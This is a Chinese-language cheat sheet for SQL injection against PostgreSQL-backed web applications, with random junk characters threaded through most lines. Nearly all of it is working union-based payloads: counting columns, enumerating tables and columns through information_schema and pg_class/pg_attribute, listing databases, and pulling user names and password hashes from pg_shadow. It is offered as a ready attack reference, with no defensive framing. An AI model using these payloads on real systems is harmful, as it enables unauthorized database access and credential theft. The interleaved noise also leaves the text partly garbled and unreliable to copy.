结合了MSSQL MySQL Oracle的一些特点0 [/ ]& z7 X# Y: J, K. E" ^% e8 _
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
. R6 p0 A$ h" U4 C4 D: G# k连接符: %20 , + , /**/ 内置函数:
, ]+ O% T# s0 x/ w' _! L2 Zcurrent_database() //当前数据库名
# i+ g6 t5 I' F. y, xsession_user //会话用户) M2 m6 f' M V$ j
current_user //当前数据库用户
7 E1 d; }$ i3 Nuser //当前用户
0 q! T% B2 x1 O) r! ~" B1 y& Fversion() //数据库版本 Union注射:
0 \" Z: @1 L, P2 ^6 Qorder by n–9 n' {7 e; i J7 i( q/ @ Y
and 1=2 union select null,null,null–
, G) u- {0 o$ K* ^# U5 t+ I& Kand 1=2 union select ‘beach’,null,null–
/ o2 \* f0 M. G' e8 ^# Y8 H3 Xand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
" }! Z4 X2 |& Z! U* L& fgroup_concat(table_name)
5 i3 }# v) X8 B' uand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–1 z: Z7 k1 W' Q" ^) n
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–' Q) d* A( R1 a" ~1 @: H
(老版本)4 N9 C* \: \% Q1 ] S
pg_class.oid对应pg_attribute.attrelid
3 P$ W; b9 h$ `; fpg_class.relname表名" R, w2 ^7 @+ a; V; e
pg_attribute.attname字段名 select relname from pg_class获取表名2 j$ ^' U9 p+ N; C5 M! H
select oid from pg_class where 条件 获取参数
% o5 b3 ?' Z4 h6 v+ |select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
# ^3 q. _1 }- `3 |" G) G1 hand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
6 Z! \1 c2 \& Q! N$ U: `; c2 |and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–: Y+ h9 T$ ^, k0 X
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
% {( w" }7 q4 L, Q======================================================================; P5 q3 L3 E- r% |5 X# Z# B
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
% u/ g* R. a' ?0 \$ tand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |